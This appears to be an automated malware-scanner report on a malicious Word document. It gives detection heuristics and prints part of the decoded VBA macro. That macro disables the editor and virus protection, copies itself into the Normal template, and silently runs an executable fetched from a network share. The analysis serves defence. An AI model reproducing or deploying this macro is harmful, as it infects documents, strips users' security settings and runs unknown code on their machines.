MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is designed to disable security features and execute a file named 'ipid.exe' from a network share. This indicates the document is likely a lure for spearphishing, designed to download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Trojan.Ipid-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ipid-4
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5461 bytes |
SHA-256: 00b90d7be20ebdef429ee3445427ec72f60361f6e2b6e90b7b386b66a6ff6c25 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "a"
Sub autoopen()
main
End Sub
Function main()
On Error Resume Next 'teste.doc local
w1 = Application.VBE.Windows.Count
For i = 1 To w1
Application.VBE.Windows(i).Visible = False
Next
i = 0
For Each bar In Application.VBE.CommandBars
i = i + 1
Application.VBE.CommandBars(i).Protection = msoBarNoCustomize
Application.VBE.CommandBars(i).Enabled = False
Next
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
Options.VirusProtection = False
CommandBars(33).Controls("exibir").Controls("barras de ferramentas").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("opções...").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("personalizar...").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("macros...").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("Editor do Visual Basic").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Enabled = False
i = 0
For Each bar In CommandBars
i = i + 1
If (bar.NameLocal = "Barra de menus") Or (bar.NameLocal = "Padrão") Or (bar.NameLocal = "Formatação") Then
CommandBars(i).Protection = msoBarNoCustomize
Else
CommandBars(i).Enabled = False
End If
Next
c1 = Documents.Count
If c1 >= 1 Then
e1 = ActiveDocument.VBProject.VBComponents.Count
p1 = "\\esm-cpd\e$\ipid.exe"
If e1 >= 1 Then
e2 = ActiveDocument.VBProject.VBComponents(1).Name
If e1 >= 2 Then
e3 = ActiveDocument.VBProject.VBComponents(2).Name
c2 = MacroContainer
If c2 = ActiveDocument.Name Then
d1 = ActiveDocument.FullName
d2 = ActiveDocument.AttachedTemplate.FullName
e5 = NormalTemplate.VBProject.VBComponents.Count
If e5 >= 1 Then
e6 = NormalTemplate.VBProject.VBComponents(1).Name
If e5 >= 2 Then
e7 = NormalTemplate.VBProject.VBComponents(2).Name
'Application.OrganizerRename d2, e7, "b", wdOrganizerObjectProjectItems
If e7 < e3 Then copyme
If e7 > e3 Then copyma
If e7 = e3 Then copyi
End If 'rodando no ativo sem modulo no normal
d2 = ActiveDocument.AttachedTemplate.FullName
Application.OrganizerCopy d1, d2, e3, wdOrganizerObjectProjectItems
Application.NormalTemplate.Save
FileCopy p1, "c:\windows\ipid.exe"
Shell "c:\windows\ipid.exe", 0
End
End If
End If 'rodando no normal.dot
d1 = ActiveDocument.FullName
d2 = NormalTemplate.FullName
e7 = NormalTemplate.VBProject.VBComponents(2).Name
Application.OrganizerDelete d1, e3, wdOrganizerObjectProjectItems
Application.OrganizerCopy d2, d1, e7, wdOrganizerObjectProjectItems
Application.ActiveDocument.Save
FileCopy p1, "c:\windows\ipid.exe"
Shell "c:\windows\ipid.exe", 0
End
End If 'rodando no normal sem modulo no proj
d1 = ActiveDocument.FullName
d2 = NormalTemplate.FullName
e7 = NormalTemplate.VBProject.VBComponents(2).Name
Application.OrganizerCopy d2, d1, e7, wdOrganizerObjectProjectItems
Application.ActiveDocument.Save
FileCopy p1, "c:\windows\ipid.exe"
Shell "c:\windows\ipid.exe", 0
End
End If
End If
End Function
Function copyi()
e2 = ActiveDocument.VBProject.VBComponents(1).Name
e3 = ActiveDocument.VBProject.VBComponents(2).Name
c2 = MacroContainer
d1 = ActiveDocume
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.